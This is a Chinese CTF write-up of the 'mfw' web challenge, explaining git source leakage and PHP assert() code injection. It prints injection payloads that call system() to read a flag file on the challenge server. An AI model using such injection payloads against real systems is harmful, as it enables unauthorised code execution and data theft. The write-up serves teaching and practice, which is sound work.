攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

题目介绍

题目考点

  • PHP代码审计
  • git源码泄露

Writeup

  1. 进入题目,点击一番,发现可能出现git源码泄露

  2. url输入 http://220.249.52.134:56659/.git/ 发现果然有git源码泄露

  3. 使用 GitHacker 获取源码

  4. 看到有flag.php, 尝试打开查看,里面啥也没

  5. 打开index.php代码审计

  6. 了解assert()函数的使用:

    总结一句话就是:assert()函数会将读入的代码当做PHP代码来执行

    因此,我们可以进行注入,注入的思路:

    方式一:

    • 首先对strpos函数进行闭合,构造一下,page=’)

    • 可以把后面', '..') === false的给注释掉,构造page=').phpinfo();//,可以得到回显

    方式二:

    • 不注释也行,直接插入,构造page='.phpinfo().'

  7. 既然可以执行函数,那么使用system()函数

    system()函数用法:

    由于源码直接下载有,所以直接构造得到flag的payload:

    ?page=').system("cat templates/flag.php");//
    或者
    ?page='.system("cat templates/flag.php").'

    两者都需查看源码!!

最新文章

  1. Adroid 展开收起效果实现
  2. Entity Framework搜索指定字段解决方案
  3. SPOJ 1811 Longest Common Substring
  4. ThinkPHP的缓存技术
  5. jenkins2 javahelloworld
  6. 点击li标记中的<a>标记改变li背景图片怎样实现
  7. ProgressCircular
  8. [转载]Spring Autowire自动装配介绍
  9. div:给div加滚动栏 div的滚动栏设置
  10. Contains Duplicate II ——LeetCode
  11. Android系统的进程分类
  12. 纯css实现多标签浮动居中(任意个数)
  13. 小白的Python之路 day5 re正则模块
  14. 【原】无脑操作:EasyUI Tree实现左键只选择叶子节点、右键浮动菜单实现增删改
  15. 摘录<小王子>——[法]安东·圣埃克苏佩里
  16. U-Boot Makefile分析(2) config.mk分析
  17. Zabbix WMI监控
  18. spark Pair RDD 基础操作
  19. java urlrewrite实现伪静态化
  20. vnc server on Ubuntu

热门文章

  1. SpringBoot 整合 Elastic Stack 最新版本(7.14.1)分布式日志解决方案,开源微服务全栈项目【有来商城】的日志落地实践
  2. phpspider PHP 爬虫
  3. python学习笔记(二)-字符串方法
  4. 华为云计算IE面试笔记-Fusionsphere架构及组件介绍(服务器虚拟化解决方案)
  5. Elasticsearch、XXLJob以及最近的学习记录
  6. MyBatis-Plus代码生成器的使用
  7. YbtOJ#662-交通运输【线段树合并,树状数组】
  8. NOIP模拟69
  9. [Linux]Ansible自动化运维② - 工具与模块
  10. BootstrapBlazor 模板安装